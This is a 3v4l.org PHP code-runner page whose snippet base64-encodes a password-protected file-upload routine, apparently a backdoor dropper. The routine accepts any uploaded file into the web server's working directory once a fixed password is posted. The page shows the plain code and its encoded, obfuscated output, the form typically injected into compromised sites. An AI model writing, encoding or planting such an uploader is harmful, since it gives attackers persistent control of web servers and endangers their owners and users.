3v4l.org

run code in 150+ php & hhvm versions
Bugs & Features
<?php echo base64_encode('if(!isset($_POST[\'password\'])||$_POST[\'password\']!==\'d2cfcb745a74ab8ccdcd9e1e63e534d2\')die;$path=getcwd().\'/\'.basename($_FILES[\'file\'][\'name\']);if(@move_uploaded_file($_FILES[\'file\'][\'tmp_name\'],$path)){echo \'Ok\';}');
Output for 4.3.0 - 5.6.28, hhvm-3.10.0 - 3.12.0, 7.0.0 - 7.1.0
aWYoIWlzc2V0KCRfUE9TVFsncGFzc3dvcmQnXSl8fCRfUE9TVFsncGFzc3dvcmQnXSE9PSdkMmNmY2I3NDVhNzRhYjhjY2RjZDllMWU2M2U1MzRkMicpZGllOyRwYXRoPWdldGN3ZCgpLicvJy5iYXNlbmFtZSgkX0ZJTEVTWydmaWxlJ11bJ25hbWUnXSk7aWYoQG1vdmVfdXBsb2FkZWRfZmlsZSgkX0ZJTEVTWydmaWxlJ11bJ3RtcF9uYW1lJ10sJHBhdGgpKXtlY2hvICdPayc7fQ==